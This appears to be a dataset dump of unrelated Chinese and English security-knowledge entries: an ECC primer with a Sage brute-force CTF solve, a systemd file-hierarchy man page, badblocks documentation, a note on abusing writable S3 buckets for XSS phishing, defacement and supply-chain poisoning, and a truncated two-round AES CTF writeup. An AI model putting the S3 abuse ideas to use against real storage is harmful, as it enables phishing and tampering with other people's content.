text
stringlengths 100
9.93M
| category
stringclasses 11
values |
|---|---|
# ECC
## 概述
ECC 全称为椭圆曲线加密,EllipseCurve Cryptography,是一种基于椭圆曲线数学的公钥密码。与传统的基于大质数因子分解困难性的加密方法不同,ECC依赖于解决椭圆曲线离散对数问题的困难性。它的优势主要在于相对于其它方法,它可以在使用较短密钥长度的同时保持相同的密码强度。目前椭圆曲线主要采用的有限域有
- 以素数为模的整数域GF(p),通常在通用处理器上更为有效。
- 特征为 2 的伽罗华域GF(2^m),可以设计专门的硬件。
## 基本知识
我们首先来了解一下有限域上的椭圆曲线,有限域上的椭圆曲线是指在椭圆曲线的定义式
$y^2+axy+by=x^3+cx^2+dx+e$
中所有的系数都是在某个有限域GF(p)中的元素,其中p为一个大素数。
当然,并不是所有的椭圆曲线都适合于加密,最为常用的方程如下
$y^2=x^3+ax+b$
其中$4a^3+27b^2 \bmod p \neq 0$
我们称该方程的所有解(x,y),($x\in Fp , y \in Fp$),以及一个称为“无穷远点”(O)组成的集合为定义在Fp上的一个椭圆曲线,记为E(Fp)。
一般定义椭圆曲线密码需要以下条件
假设E(Fp)对于点的运算$\oplus$ 形成一个able群(交换群,逆元存在,封闭性等),设$p\in E(Fq)$ ,且满足下列条件的t很大
$p \oplus p \oplus ... \oplus p=O$
其中共有t个p参与运算。这里我们称t为p的周期。此外,对于$Q\in E(Fq)$ ,定有某个正整数m使得下列式子成立,定义$m=log_pq$
$Q=m\cdot p =p \oplus p \oplus ... \oplus p$ (m个p参与运算)
此外,假设G是该$E_q (a,b)$ 的生成元,即可以生成其中的所有元素,其阶为满足$nG=O$ 的最小正整数n。
## ECC中的ElGamal
这里我们假设用户B要把消息加密后传给用户A。
### 密钥生成
用户A先选择一条椭圆曲线$E_q (a,b)$ ,然后选择其上的一个生成元G,假设其阶为n,之后再选择一个正整数$n_a$作为密钥,计算$P_a=n_aG$。
其中,$E_q(a,b), q,G$都会被公开。
公钥为$P_a$,私钥为$n_a $。
### 加密
用户B在向用户A发送消息m,这里假设消息m已经被编码为椭圆曲线上的点,其加密步骤如下
1. 查询用户A的公钥$E_q(a,b), q, P_a,G$ 。
2. 在(1,q-1) 的区间内选择随机数k 。
3. 根据A的公钥计算点$(x_1,y_1)=kG$ 。
4. 计算点$(x_2,y_2)=kP_a$ ,如果为O,则从第二步重新开始。
5. 计算$C=m+(x_2,y_2)$
6. 将$((x_1,y_1),C)$ 发送给A。
### 解密
解密步骤如下
1. 利用私钥计算点$n_a(x_1,y_1)=n_akG=kP_a=(x_2,y_2)$。
2. 计算消息$m=C-(x_2,y_2)$ 。
### 关键点
这里的关键点在于我们即使知道了$(x_1,y_1)$ 也难以知道k,这是由离散对数的问题的难度决定的。
## 2013 SECCON CTF quals Cryptanalysis
这里我们以2013年SECCON CTF quals 中的 Cryptanalysis 为例,题目如下
这里,我们已知椭圆曲线方程以及对应的生成元 base,还知道相应的模数以及公钥以及加密后的结果。
但是可以看出的我们的模数太小,我们暴力枚举获取结果。
这里直接参考 github上的 sage 程序,暴力跑出 secret key。之后便可以解密了。
```python
a = 1234577
b = 3213242
n = 7654319
E = EllipticCurve(GF(n), [0, 0, 0, a, b])
base = E([5234568, 2287747])
pub = E([2366653, 1424308])
c1 = E([5081741, 6744615])
c2 = E([610619, 6218])
X = base
for i in range(1, n):
if X == pub:
secret = i
print "[+] secret:", i
break
else:
X = X + base
print i
m = c2 - (c1 * secret)
print "[+] x:", m[0]
print "[+] y:", m[1]
print "[+] x+y:", m[0] + m[1]
```
暴力跑出结果
```shell
[+] secret: 1584718
[+] x: 2171002
[+] y: 3549912
[+] x+y: 5720914
```
## 参考
- https://github.com/sonickun/ctf-crypto-writeups/tree/master/2013/seccon-ctf-quals/cryptanalysis
|
sec-knowleage
|
'\" t
.TH "FILE\-HIERARCHY" "7" "" "systemd 231" "file-hierarchy"
.\" -----------------------------------------------------------------
.\" * Define some portability stuff
.\" -----------------------------------------------------------------
.\" ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
.\" http://bugs.debian.org/507673
.\" http://lists.gnu.org/archive/html/groff/2009-02/msg00013.html
.\" ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
.ie \n(.g .ds Aq \(aq
.el .ds Aq '
.\" -----------------------------------------------------------------
.\" * set default formatting
.\" -----------------------------------------------------------------
.\" disable hyphenation
.nh
.\" disable justification (adjust text to left margin only)
.ad l
.\" -----------------------------------------------------------------
.\" * MAIN CONTENT STARTS HERE *
.\" -----------------------------------------------------------------
.SH "NAME"
file-hierarchy \- 文件系统层次结构概览
.SH "描述"
.PP
对于使用
\fBsystemd\fR(1)
的操作系统来说, 其文件系统层次结构遵守
\m[blue]\fBFile System Hierarchy\fR\m[]\&\s-2\u[1]\d\s+2
与
\fBhier\fR(7)
规范。 本手册仅描述一个符合上述规范的子集, 该子集较小也较现代, 并且更加严格的遵守上述规范。
.PP
许多本文所描述的路径都可以通过
\fBsystemd-path\fR(1)
工具来查询。
.SH "总体结构"
.PP
/
.RS 4
文件系统的根。 通常是可写的(也可以是只读的), 并且可以是一个
"tmpfs"
文件系统。 除非是只读的,否则不与其他主机共享。
.RE
.PP
/boot
.RS 4
启动分区。 在UEFI系统上通常是"EFI System Partition", 参见
\fBsystemd-gpt-auto-generator\fR(8)
手册。 该目录通常严格位于本机的内置存储上, 并且应该是只读的(除非需要安装内核或引导管理器)。 仅当操作系统运行在物理机或者虚拟硬件上时才需要此目录, 因为这种情况下必须使用引导管理器。
.RE
.PP
/etc
.RS 4
特定于该操作系统的配置。 该目录可以是只读的(也可以是可读写的)。 通常用于存储操作系统发行商预设的配置文件, 但是应用程序不应该假设该目录中必然存在某个配置文件, 而是应该在期望的配置文件不存在的情况下, 回退到默认设置。
.RE
.PP
/home
.RS 4
存储普通用户的家目录。 可以与其他操作系统共享, 并且必须是可读写的(不能是只读的)。 该目录必须仅用于普通用户, 切勿用于系统用户(系统用户不只有"root")。 该目录及其子目录可以在启动过程的末尾才变得可用, 甚至可以在完成用户身份认证之后才变得可用。 该目录可以位于功能受限的网络文件系统上, 因此,应用程序不应该假定所有文件系统API在此目录上都可用。 应用程序不应该直接引用该目录及其子目录, 而是应该通过针对每个用户设置的
\fI$HOME\fR
环境变量来引用, 或者根据用户数据库中的"家目录"字段的值来引用。
.RE
.PP
/root
.RS 4
"root"用户的家目录。 将根用户的家目录放到
/home
之外是为了确保即使在
/home
目录不可用的情况下, "root"用户依然可以正常登录。
.RE
.PP
/srv
.RS 4
存储常规服务器数据(载荷)的目录,由服务器管理员管理。 其中的子目录如何组织,没有明确的规范。 该目录通常是可写的,并且可以与其他操作系统共享。 该目录可以在启动过程的末尾才变得可用。
.RE
.PP
/tmp
.RS 4
存放小临时文件的目录。 通常挂载为一个
"tmpfs"
文件系统。 切勿在此目录中存放体积较大的临时文件(应该使用
/var/tmp
目录)。 因为系统上的所有用户都可以访问该目录, 所以必须确保该目录仅对
\fBmkstemp\fR(3),
\fBmkdtemp\fR(3)
相关系统调用可写。 该目录在系统启动过程中会被清空。 并且,如果其中的某些文件持续长时间不被访问,通常也会被自动删除。 如果应用程序发现
\fI$TMPDIR\fR
环境变量已经被设置, 那么应该使用
\fI$TMPDIR\fR
环境变量的设置, 而不应该直接使用
/tmp
目录(参见
\fBenviron\fR(7)
与
\m[blue]\fBIEEE Std 1003\&.1\fR\m[]\&\s-2\u[2]\d\s+2
)。
.RE
.SH "运行时数据"
.PP
/run
.RS 4
一个用于存放系统软件运行时数据的
"tmpfs"
文件系统。 该目录在系统启动过程中会被清空。 该目录必须总是可写的, 但是通常又应该仅赋予特权应用写入权限。
.RE
.PP
/run/log
.RS 4
运行时系统日志。 系统组件可以在这个目录中存放私有日志。 该目录必须总是可写的(即使
/var/log
目录尚不能访问)。
.RE
.PP
/run/user
.RS 4
针对每个用户的运行时目录。 通常针对每个用户单独挂载一个
"tmpfs"
文件系统实例。 该目录必须总是可写的, 并且在系统启动过程中以及对应的用户登出后会被自动清空。 应用程序不应该直接引用该目录,而是应该通过针对每个用户设置的
\fI$XDG_RUNTIME_DIR\fR
环境变量来引用。 详见
\m[blue]\fBXDG Base Directory Specification\fR\m[]\&\s-2\u[3]\d\s+2
.RE
.SH "发行商提供的操作系统资源"
.PP
/usr
.RS 4
发行商提供的操作系统资源。 通常应该是只读的(但非必须是只读)。可以与其他主机共享。 系统管理员不应该修改此目录中的内容, 除非需要安装或卸载发行商提供的软件包。
.RE
.PP
/usr/bin
.RS 4
存放应当出现在
\fI$PATH\fR
搜索路径中的用户命令(可执行文件)。 建议仅将命令行工具放到此目录中, 而例如守护进程之类的非命令行工具, 则应该放到
/usr/lib
下的子目录中。
.RE
.PP
/usr/include
.RS 4
系统库的 C 与 C++ API 头文件目录。
.RE
.PP
/usr/lib
.RS 4
存放通用于所有体系结构的、静态的发行商专属数据。 这包括软件包内部使用的可执行文件、 以及例如守护进程之类的非命令行工具。 这些二进制文件可用于该操作系统支持的所有体系结构。 不要在此目录中放置公共库, 而应该将它们放到
\fI$libdir\fR
目录中(参见下文)。
.RE
.PP
/usr/lib/\fIarch\-id\fR
.RS 4
存放动态链接库, 又被称为
\fI$libdir\fR
目录。
\fIarch\-id\fR
的具体名称遵守
\m[blue]\fBMultiarch Architecture Specifiers (Tuples)\fR\m[]\&\s-2\u[4]\d\s+2
列表的规范。 传统上,\fI$libdir\fR
通常是
/usr/lib
与
/usr/lib64
目录。 该目录不应该用于存放特定于某个软件的专属数据, 除非这些数据是专属于特定体系结构的。 可以使用下面的命令查询用于该系统的首选体系结构的
\fI$libdir\fR
的值:
.sp
.if n \{\
.RS 4
.\}
.nf
# systemd\-path system\-library\-arch
.fi
.if n \{\
.RE
.\}
.RE
.PP
/usr/share
.RS 4
在多个软件包之间共享的资源, 例如文档、手册、时区数据、字体等资源。 此目录下的子目录结构及文件格式, 取决于确保软件之间正常相互操作的各种规范。
.RE
.PP
/usr/share/doc
.RS 4
操作系统以及各种软件包的文档。
.RE
.PP
/usr/share/factory/etc
.RS 4
发行商提供的默认配置文件仓库。 该目录中应该放置发行商提供的、 所有可能放入
/etc
目录的配置文件的原始默认文件。 这个目录主要是为了方便恢复默认设置 以及对比当前配置与默认配置的不同。
.RE
.PP
/usr/share/factory/var
.RS 4
与
/usr/share/factory/etc
类似, 用于存放发行商提供的
/var
目录内容的原始默认文件。
.RE
.SH "应该持久保存的易变系统数据"
.PP
/var
.RS 4
应该持久保存的易变系统数据。 该目录必须可写。 该目录可以预先填充发行商预设的数据, 但是应用程序可以自行创建所需的文件和目录。 强烈推荐(但非必须)持久保存该目录中的数据, 系统必须在该目录为空时依然能够正常启动, 以支持临时运行的系统。 该目录可以在启动过程的末尾才变得可用, 因此那些在系统启动早期运行的组件不应该依赖于此目录的存在。
.RE
.PP
/var/cache
.RS 4
应该持久保存的系统缓存。 系统组件可以在该目录中放置非关键的缓存。 清空该目录必须不影响应用的正常工作 (但应用可以花费额外的时间重建这些缓存)。
.RE
.PP
/var/lib
.RS 4
应该持久保存的系统数据。 系统组件可以在该目录中放置专属的数据。
.RE
.PP
/var/log
.RS 4
应该持久保存的系统日志。 系统组件可以在该目录中放置专属的日志。 不过,推荐的方式是通过
\fBsyslog\fR(3)
与
\fBsd_journal_print\fR(3)
接口记录日志。
.RE
.PP
/var/spool
.RS 4
应该持久保存的系统队列。 例如邮件队列或打印队列。
.RE
.PP
/var/tmp
.RS 4
应该持久保存的临时文件(通常体积也比较大)。 此目录通常位于持久存储设备上,并且可以存储较大的临时文件。 相比较而言,/tmp
一般位于内存中, 并且仅用于存储较小的临时文件。 该目录在系统启动过程中一般不会被清空, 但是,如果其中的某些文件持续长时间不被访问,通常也会被自动删除。 因为系统上的所有用户都可以访问该目录, 所以必须确保该目录仅对
\fBmkstemp\fR(3),
\fBmkdtemp\fR(3)
相关系统调用可写。 如果应用程序发现
\fI$TMPDIR\fR
环境变量已经被设置, 那么应该使用
\fI$TMPDIR\fR
环境变量的设置, 而不应该直接使用
/var/tmp
目录(参见
\fBenviron\fR(7))。
.RE
.SH "虚拟文件系统"
.PP
/dev
.RS 4
设备节点的根目录。 通常被挂载为一个
"devtmpfs"
文件系统实例 (但在沙盒或容器中可能是其他类型)。 该目录中的内容由内核与
\fBsystemd-udevd.service\fR(8)
共同管理,其他任何组件都不应该修改此目录中的内容。 可以在该目录的子目录中再挂载其他特定用途的虚拟文件系统。
.RE
.PP
/dev/shm
.RS 4
通过
\fBshm_open\fR(3)
创建的POSIX共享内存。 因为它其实是一个
"tmpfs"
文件系统, 所以在系统启动过程中会被清空。 因为系统上的所有用户都可以读写该目录, 所以必须注意避免文件名冲突以及安全漏洞(也就是注意权限设置)。 对于普通用户,当其退出登录时,其在该目录下创建的文件也会被删除。 通常,在
/run
目录(针对系统进程) 或
\fI$XDG_RUNTIME_DIR\fR
目录(针对用户进程)中使用内存映射文件, 是比使用POSIX共享内存更好的解决方案。 因为这些目录不是全局可写的, 所以不存在文件名冲突以及安全漏洞的问题。
.RE
.PP
/proc
.RS 4
显示进程信息以及其他功能的虚拟文件系统。 此文件系统主要用作内核与用户交互的界面。 详见
\fBproc\fR(5)
手册。 可以在该目录的子目录中再挂载其他特定用途的虚拟文件系统。
.RE
.PP
/proc/sys
.RS 4
调整内核各项参数的一个界面。 主要通过
\fBsysctl.d\fR(5)
中的配置文件进行设置。 但在沙盒或容器中该目录通常以只读方式挂载(也就是禁止修改内核参数)。
.RE
.PP
/sys
.RS 4
显示所有已发现设备以及其他功能的虚拟文件系统。 此文件系统主要用作内核与用户交互的界面。 在沙盒或容器中该目录通常以只读方式挂载。 可以在该目录的子目录中 再挂载其他特定用途的虚拟文件系统。
.RE
.SH "兼容性软连接"
.PP
/bin, /sbin, /usr/sbin
.RS 4
这三个软连接都指向
/usr/bin
以确保对传统路径的兼容。
.RE
.PP
/lib
.RS 4
这个软连接指向
/usr/lib
以确保对传统路径的兼容。
.RE
.PP
/lib64
.RS 4
在64位系统上, 这个软连接指向
\fI$libdir\fR
以确保对传统路径的兼容。 此软连接仅存在于动态加载器位于此路径的系统架构上。
.RE
.PP
/var/run
.RS 4
这个软连接指向
/run
以确保对传统路径的兼容。
.RE
.SH "家目录"
.PP
用户应用如果想要在用户的家目录中保存文件或目录,那么应该遵守下面的规范。 注意,下面的某些目录虽然比较脆弱, 但是已经被
\m[blue]\fBXDG Base Directory Specification\fR\m[]\&\s-2\u[3]\d\s+2
标准化了。 其他为高层次用户资源定义的位置参见
\m[blue]\fBxdg\-user\-dirs\fR\m[]\&\s-2\u[5]\d\s+2
文档。
.PP
~/\&.cache
.RS 4
应该持久保存的用户缓存。 应用可以在该目录中放置非关键的用户缓存。 清空该目录中的缓存必须不影响应用的正常工作 (但应用可以花费额外的时间重建这些缓存)。 如果应用程序发现
\fI$XDG_CACHE_HOME\fR
环境变量已经被设置, 那么应该使用
\fI$XDG_CACHE_HOME\fR
环境变量的设置, 而不应该直接使用
~/\&.cache
目录。
.RE
.PP
~/\&.config
.RS 4
应该持久保存的用户配置与状态。 当新用户刚被创建时,该目录应该初始为空或根本不存在。 如果期望的配置文件不存在于该目录中, 那么应用程序应该回退到默认设置,而不应该罢工。 如果应用程序发现
\fI$XDG_CONFIG_HOME\fR
环境变量已经被设置, 那么应该使用
\fI$XDG_CONFIG_HOME\fR
环境变量的设置, 而不应该直接使用
~/\&.config
目录。
.RE
.PP
~/\&.local/bin
.RS 4
存放应当出现在用户专属的
\fI$PATH\fR
搜索路径中的用户命令(可执行文件)。 建议仅将命令行工具放到此目录中, 而例如守护进程之类的非命令行工具, 则应该放到
~/\&.local/lib
下的子目录中。 注意,当在此目录中存放特定于体系结构的可执行文件时, 可能会因为与其他不同体系结构的系统共享家目录而出现故障。
.RE
.PP
~/\&.local/lib
.RS 4
存放通用于所有体系结构的、静态的用户专属数据。这包括软件包内部使用的可执行文件、以及例如守护进程之类的非命令行工具。这些二进制文件可用于该操作系统支持的所有体系结构。 不要在此目录中放置公共库,而应该将它们放到
~/\&.local/lib/\fIarch\-id\fR
目录中(参见下文)。
.RE
.PP
~/\&.local/lib/\fIarch\-id\fR
.RS 4
存放专属于特定体系结构的动态链接库。
\fIarch\-id\fR
的具体名称遵守
\m[blue]\fBMultiarch Architecture Specifiers (Tuples)\fR\m[]\&\s-2\u[4]\d\s+2
列表的规范。
.RE
.PP
~/\&.local/share
.RS 4
在多个软件包之间共享的资源,例如图标、字体等资源。 此目录下的子目录结构及文件格式, 取决于确保软件之间正常相互操作的各种规范。 如果应用程序发现
\fI$XDG_DATA_HOME\fR
环境变量已经被设置, 那么应该使用
\fI$XDG_DATA_HOME\fR
环境变量的设置, 而不应该直接使用
~/\&.local/share
目录。
.RE
.SH "非特权进程的写权限"
.PP
非特权进程通常对大多数目录都没有写权限。
.PP
但对于普通用户的非特权进程来说,可以写入
/tmp,
/var/tmp,
/dev/shm,
\fI$HOME\fR
(通常位于
/home
下),
\fI$XDG_RUNTIME_DIR\fR
(通常位于
/run/user
下) 目录。
.PP
而对于系统的非特权进程来说,则仅可以写入
/tmp,
/var/tmp,
/dev/shm
目录。 如果系统的非特权进程需要在
/var
或
/run
目录中创建一个专属的、可写入的目录, 那么可以在守护进程丢弃特权之前先创建该目录,或者通过
\fBtmpfiles.d\fR(5)
在系统启动时先创建该目录, 或者通过服务单元文件中的
\fIRuntimeDirectory=\fR
指令(详见
\fBsystemd.unit\fR(5)
手册)创建该目录。
.SH "文件类型"
.PP
Unix文件系统支持不同的文件节点类型: 普通文件、目录、软连接、字符设备、块设备、 套接字(socket)、管道(FIFO)。
.PP
强烈建议仅将设备文件放置在
/dev
目录中、 仅将套接字(socket)与管道(FIFO)文件放置在
/run
目录中。 而普通文件、目录、软连接则可以放置在所有目录中。
.SH "系统软件包"
.PP
系统软件包的开发者应该严格遵守下面的文件布局规范。 下面列出了发行商提供的系统软件包中各类文件的推荐位置:
.sp
.it 1 an-trap
.nr an-no-space-flag 1
.nr an-break-flag 1
.br
.B Table\ \&1.\ \&系统软件包中静态文件的推荐位置
.TS
allbox tab(:);
lB lB.
T{
目录
T}:T{
用途
T}
.T&
l l
l l
l l
l l
l l.
T{
/usr/bin
T}:T{
应该出现在 \fI$PATH\fR 搜索路径中且与体系结构无关的可执行文件。不要将软件包内部使用的可执行文件或非命令行工具(例如守护进程之类)放到此目录中。因为众多的软件包都使用此目录,所以必须选择独一无二的可执行文件名称,以避免冲突。
T}
T{
/usr/lib/\fIarch\-id\fR
T}:T{
全局通用的体系结构相关的共享库。因为众多的软件包都使用此目录,所以必须选择独一无二的共享库名称,以避免冲突。
T}
T{
/usr/lib/\fIpackage\fR
T}:T{
发行商提供的该软件包专属的体系结构无关的静态资源(可执行文件、库文件、只读数据)。
T}
T{
/usr/lib/\fIarch\-id\fR/\fIpackage\fR
T}:T{
发行商提供的体系结构相关的该软件包专属的资源(通常不包括软件包内部使用的可执行文件)。
T}
T{
/usr/include/\fIpackage\fR
T}:T{
该软件包提供的共享库的 C/C++ 头文件。
T}
.TE
.sp 1
.PP
发行商提供的其他静态资源应该存放在
/usr/share
目录下, 具体的存放位置应该遵守其他的相关规范。
.PP
存放软件包运行时数据以及配置文件的相关目录如下:
.sp
.it 1 an-trap
.nr an-no-space-flag 1
.nr an-break-flag 1
.br
.B Table\ \&2.\ \&系统软件包的运行时数据以及配置文件的推荐位置
.TS
allbox tab(:);
lB lB.
T{
目录
T}:T{
用途
T}
.T&
l l
l l
l l
l l
l l
l l
l l.
T{
/etc/\fIpackage\fR
T}:T{
特定于该系统的配置文件。如果该目录不存在,那么软件包应该尽可能回退到安全的默认设置,而不应该罢工。可选地,可以设置一个 \fBtmpfiles.d\fR(5) 配置文件,以实现在系统启动过程中,从 /usr/share/factory 目录中复制("C"指令)或软连接("L"指令)所需的文件到该目录中。
T}
T{
/run/\fIpackage\fR
T}:T{
软件包的运行时数据。因为该目录会在系统启动过程中被清空,所以软件包必须有权限在此目录中创建子目录及文件。可选的,可以设置一个 \fBtmpfiles.d\fR(5) 配置文件,以实现在系统启动过程中自动在此目录中创建所需的子目录及文件。或者可选的,在服务单元文件中使用 \fIRuntimeDirectory=\fR 指令(详见 \fBsystemd.unit\fR(5) 手册)以达到上述目的。
T}
T{
/run/log/\fIpackage\fR
T}:T{
软件包的运行时日志。因为该目录会在系统启动过程中被清空,所以软件包必须有权限在此目录中创建子目录及文件。
T}
T{
/var/cache/\fIpackage\fR
T}:T{
软件包的持久缓存。清空该目录必须不影响软件包的正常工作(但软件包可以花费额外的时间重建这些缓存)。软件包必须有权限在此目录中创建子目录及文件。
T}
T{
/var/lib/\fIpackage\fR
T}:T{
软件包的持久专属数据。存放无法明确分类的持久数据。软件包必须有权限在此目录中创建子目录及文件,因为在系统启动时该目录可能为空。可选的,可以设置一个 \fBtmpfiles.d\fR(5) 配置文件,以实现在系统启动过程中自动在此目录中创建所需的子目录及文件。
T}
T{
/var/log/\fIpackage\fR
T}:T{
软件包的持久日志数据。软件包必须有权限在此目录中创建子目录及文件,因为在系统启动时该目录可能为空。
T}
T{
/var/spool/\fIpackage\fR
T}:T{
软件包的持久队列数据。软件包必须有权限在此目录中创建子目录及文件,因为在系统启动时该目录可能为空。
T}
.TE
.sp 1
.SH "用户软件包"
.PP
对于专属于特定用户的软件包, 其存贮在用户家目录中的文件必须严格遵守下面的文件布局规范。 注意,当安装属于系统范围的软件包时, 应该遵守前面"系统软件包"小节的布局规范。 下面列出了当用户在其家目录中安装专属软件包时, 由发行商提供的各种类型的文件在用户家目录中应该存放的位置:
.sp
.it 1 an-trap
.nr an-no-space-flag 1
.nr an-break-flag 1
.br
.B Table\ \&3.\ \&用户软件包中静态文件的推荐位置
.TS
allbox tab(:);
lB lB.
T{
目录
T}:T{
用途
T}
.T&
l l
l l
l l
l l.
T{
~/\&.local/bin
T}:T{
应该出现在 \fI$PATH\fR 搜索路径中且与体系结构无关的可执行文件。不要将软件包内部使用的可执行文件或非命令行工具(例如守护进程之类)放到此目录中。因为众多的软件包都使用此目录,所以必须选择独一无二的可执行文件名称,以避免冲突。
T}
T{
~/\&.local/lib/\fIarch\-id\fR
T}:T{
全局通用的体系结构相关的共享库。因为众多的软件包都使用此目录,所以必须选择独一无二的共享库名称,以避免冲突。
T}
T{
~/\&.local/lib/\fIpackage\fR
T}:T{
发行商提供的该软件包专属的体系结构无关的静态资源(可执行文件、库文件、只读数据)。
T}
T{
~/\&.local/lib/\fIarch\-id\fR/\fIpackage\fR
T}:T{
发行商提供的体系结构相关的该软件包专属的资源(通常不包括软件包内部使用的可执行文件)。
T}
.TE
.sp 1
.PP
发行商提供的其他静态资源应该存放在
~/\&.local/share
目录下, 具体的存放位置应该遵守其他的相关规范。
.PP
存放软件包运行时数据以及配置文件的相关目录如下:
.sp
.it 1 an-trap
.nr an-no-space-flag 1
.nr an-break-flag 1
.br
.B Table\ \&4.\ \&用户软件包的运行时数据以及配置文件的推荐位置
.TS
allbox tab(:);
lB lB.
T{
目录
T}:T{
用途
T}
.T&
l l
l l
l l.
T{
~/\&.config/\fIpackage\fR
T}:T{
特定于该用户的配置文件。如果该目录不存在,那么软件包必须能够安全的回退到默认设置,而不能罢工。
T}
T{
\fI$XDG_RUNTIME_DIR\fR/\fIpackage\fR
T}:T{
特定于该用户的运行时数据。
T}
T{
~/\&.cache/\fIpackage\fR
T}:T{
软件包的持久缓存。清空该目录必须不影响软件包的正常工作(但软件包可以花费额外的时间重建这些缓存)。软件包必须有权限在此目录中创建子目录及文件。
T}
.TE
.sp 1
.SH "参见"
.PP
\fBsystemd\fR(1),
\fBhier\fR(7),
\fBsystemd-path\fR(1),
\fBsystemd-gpt-auto-generator\fR(8),
\fBsysctl.d\fR(5),
\fBtmpfiles.d\fR(5),
\fBpkg-config\fR(1),
\fBsystemd.unit\fR(5)
.SH "NOTES"
.IP " 1." 4
File System Hierarchy
.RS 4
\%http://refspecs.linuxfoundation.org/FHS_2.3/fhs-2.3.html
.RE
.IP " 2." 4
IEEE Std 1003.1
.RS 4
\%http://pubs.opengroup.org/onlinepubs/9699919799/basedefs/V1_chap08.html#tag_08_03
.RE
.IP " 3." 4
XDG Base Directory Specification
.RS 4
\%http://standards.freedesktop.org/basedir-spec/basedir-spec-latest.html
.RE
.IP " 4." 4
Multiarch Architecture Specifiers (Tuples)
.RS 4
\%https://wiki.debian.org/Multiarch/Tuples
.RE
.IP " 5." 4
xdg-user-dirs
.RS 4
\%http://www.freedesktop.org/wiki/Software/xdg-user-dirs/
.RE
.\" manpages-zh translator: 金步国
.\" manpages-zh comment: 金步国作品集:http://www.jinbuguo.com
|
sec-knowleage
|
badblocks
===
查找磁盘中损坏的区块
## 补充说明
**badblock命令** 用于查找磁盘中损坏的区块。 硬盘是一个损耗设备,当使用一段时间后可能会出现坏道等物理故障。电脑硬盘出现坏道后,如果不及时更换或进行技术处理,坏道就会越来越多,并会造成频繁死机和数据丢失。最好的处理方式是更换磁盘,但在临时的情况下,应及时屏蔽坏道部分的扇区,不要触动它们。badblocks就是一个很好的检查坏道位置的工具。
### 语法
```shell
badblock(选项)(参数)
```
### 选项
```shell
-b<区块大小>:指定磁盘的区块大小,单位为字节;
-o<输出文件>:将检查的结果写入指定的输出文件;
-s:在检查时显示进度;
-v:执行时显示详细的信息;
-w:在检查时,执行写入测试。
```
### 参数
* 磁盘装置:指定要检查的磁盘装置;
* 磁盘区块数:指定磁盘装置的区块总数;
* 启始区块:指定要从哪个区块开始检查。
### 实例
badblocks以 4096 的一个block,每一个block检查16次,将结果输出到“hda-badblocks-list”文件里。
```shell
badblocks -b 4096 -c 16 /dev/hda1 -o hda-badblocks-list
```
hda-badblocks-list是个文本文件,内容如下:
```shell
cat hda-badblocks-list
51249
51250
51251
51253
51254
……
61245
……
```
可以针对可疑的区块多做几次操作。下面,badblocks以4096字节为一个“block”,每一个“block”检查1次, 将结果输出到“hda-badblocks-list.1”文件中,由第51000 block开始,到63000 block结束。
```shell
badblocks -b 4096 -c 1 /dev/hda1 -o hda-badblocks-list.1 63000 51000
```
这次花费的时间比较短,硬盘在指定的情况下在很短的时间就产生“嘎嘎嘎嘎”的响声。由于检查条件的不同,其输出的结果也不完全是相同的。重复几次同样的操作,因条件多少都有些不同,所以结果也有所不同。进行多次操作后,直到产生最后的hda-badblock-list.final文件。
### 其他
**1、fsck使用badblocks的信息**
badblocks只会在日志文件中标记出坏道的信息,但若希望在检测磁盘时也能跳过这些坏块不检测,可以使用fsck的-l参数:
```
fsck.ext3 -l /tmp/hda-badblock-list.final /dev/hda1
```
**2、在创建文件系统前检测坏道**
badblocks可以随e2fsck和mke2fs的-c删除一起运行(对ext3文件系统也一样),在创建文件系统前就先检测坏道信息:
```shell
mkfs.ext3 -c /dev/hda1
```
代码表示使用-c在创建文件系统前检查坏道的硬盘。
这个操作已经很清楚地告知我们可以采用`mkfs.ext3 -c`选项用`read-only`方式检查硬盘。这个命令会在格式化硬盘时检查硬盘,并标出错误的硬盘“block”。用这个方法格式化硬盘,需要有相当大的耐心,因为命令运行后,会一个个用读的方式检查硬盘。
|
sec-knowleage
|
---
title: S3 任意文件上传
---
<center><h1>S3 任意文件上传</h1></center>
---
如果对象存储配置不当,比如公共读写,那么可能就会造成任意文件上传与文件覆盖。
</br>
<img width="1000" src="/img/1652255086.png"></br>
如果目标的对象存储支持 html 解析,那就可以利用任意文件上传进行 XSS 钓鱼、挂暗链、挂黑页、供应链投毒等操作。
<Vssue />
<script>
export default {
mounted () {
this.$page.lastUpdated = "2022年5月11日"
}
}
</script>
|
sec-knowleage
|
# A2S [355 points] (10 solves)
The challenge is to recover the key of a reduced AES variant (only 2 rounds), given only
3 ciphertext-plaintext pairs. While we are also given two bytes of the key, I only noticed
this after I've already solved the challenge. I don't see how to use these to achieve a
significant speedup with my approach, though.
The following sequence of operations is performed to encrypt a block:
```python
add_round_key(plain_state, self._key_matrices[0])
sub_bytes(plain_state) # nonlinearity only here...
shift_rows(plain_state)
mix_columns(plain_state)
add_round_key(plain_state, self._key_matrices[1])
sub_bytes(plain_state) # ...and here
shift_rows(plain_state)
mix_columns(plain_state)
add_round_key(plain_state, self._key_matrices[2])
```
However, `sub_bytes` is a byte-wise transformation, while `shift_rows` simply performs
the bytes. We can therefore write it down in this order:
```python
add_round_key(plain_state, self._key_matrices[0])
shift_rows(plain_state) # now before the sub_bytes
sub_bytes(plain_state)
mix_columns(plain_state)
add_round_key(plain_state, self._key_matrices[1])
sub_bytes(plain_state)
shift_rows(plain_state)
mix_columns(plain_state)
add_round_key(plain_state, self._key_matrices[2])
```
The `mix_columns` at the end was explicitly added by the author of the challenge. I don't
see why, as it is an affine operation, meaning:
```
mix_columns(S ^ K) = mix_columns(S) ^ f(K)
```
(what `f` is exactly is not relevant to the solution, but it is the linear part of the
affine transformation)
This allows out to swap the final `mix_columns` with `add_round_key`, if we're willing
to imagine a different key expansion procedure.
Long story short, we can calculate the XOR between internal states at the beginning and
end of this part of the cipher:
```python
sub_bytes(plain_state)
mix_columns(plain_state)
add_round_key(plain_state, self._key_matrices[1])
sub_bytes(plain_state)
```
Namely, the following code does the trick:
```python
def shift(st):
mat = bytes2matrix(st)
shift_rows(mat)
return matrix2bytes(mat)
def unmix(st):
mat = bytes2matrix(st)
inv_mix_columns(mat)
inv_shift_rows(mat)
return matrix2bytes(mat)
pre_delta1 = shift(xor_bytes(plaintexts[0], plaintexts[1]))
pre_delta2 = shift(xor_bytes(plaintexts[0], plaintexts[2]))
post_delta1 = xor_bytes(unmix(ciphertexts[0]), unmix(ciphertexts[1]))
